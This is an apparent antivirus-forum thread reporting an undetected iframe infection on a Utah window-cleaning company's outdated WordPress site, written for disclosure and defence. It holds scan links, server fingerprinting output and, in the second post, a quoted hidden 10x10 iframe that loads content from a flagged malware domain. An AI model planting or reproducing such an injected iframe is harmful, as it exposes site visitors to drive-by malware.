avast does not detect W32.HfsIframe.14d9

Viruses and worms
1

See: https://www.virustotal.com/nl/url/3fd4df8bbed37aabc8d8a0a17b48a2fdb2380dd64760ecac0c87f4876e3ce1d6/analysis/1391380052/
See: https://www.virustotal.com/nl/file/9902b043be4d799784b72cba2b29ce21d43b0d6c291c2f9e73cc252106ec10fb/analysis/
Up and alive: http://support.clean-mx.de/clean-mx/viruses.php?sort=firstseen%20desc&review=146.101.249.107
Why infested? WordPress version: WordPress 3.3.2
Wordpress version from source: 3.3.2
Wordpress Version 3.3.2 based on: htxp://www.sqwindows.com/wp-admin/js/common.js
WordPress theme: htxp://sqwindows.com/wp-content/themes/sqwindows/
Wordpress internal path: D:\hosting\6284791\html\development_sites\sqwindows\wp-content\themes\sqwindows\index.php
WordPress version outdated: Upgrade required.
Three suspicious files: http://quttera.com/detailed_report/squeekycleanwindows.com

  1. Detected hidden iframe tag to ‘38hartrobertsroad dot com’ - twice (this site harboring malware there *)
  2. Detected hidden iframe tag to ‘pracowniahistoryczna dot pl’

WhatWeb info: htxp://www.sqwindows.com [200] WordPress[3.3.2],
Frame, MetaGenerator[WordPress 3.3.2],
HTTPServer[Microsoft-IIS/7.0],
x-pingback[,htxp://sqwindows.com/xmlrpc.php],
ASP.NET, Google-Analytics [UA-11701106-4],
UncommonHeaders[x-pingback],
HTML5, IP[184.168.192.3],
JQuery[1.7.1],
X-Powered-By[ASP.NET],
Microsoft-IIS[7.0],
Title[Home | Squeaky Clean WindowsSqueaky Clean Windows | Residential & Commercial Window Cleaning in Utah],
Email[ericATsqwindows dot com],
Country[UNITED STATES][US]
Excessive headers warning and clickjacking warning, see: https://asafaweb.com/Scan?Url=www.sqwindows.com
Site blacklisted: http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=sqwindows.com *

polonus

2

I get a page cannot be found there, so it seems site does not have the malcode there anymore.
Could load page with Redleg’s fileviewer →

237:< /body>
< if​rame width=“10” height=“10” src=" htxp://38hartrobertsroad.com/wp-content/plugins/rotr " frameborder=“0”> < /if​rame>

Note: The if​rame above is loading content from a URL currently flagged by Google and should be removed!

polonus

P.S. reported to virus AT avast dot com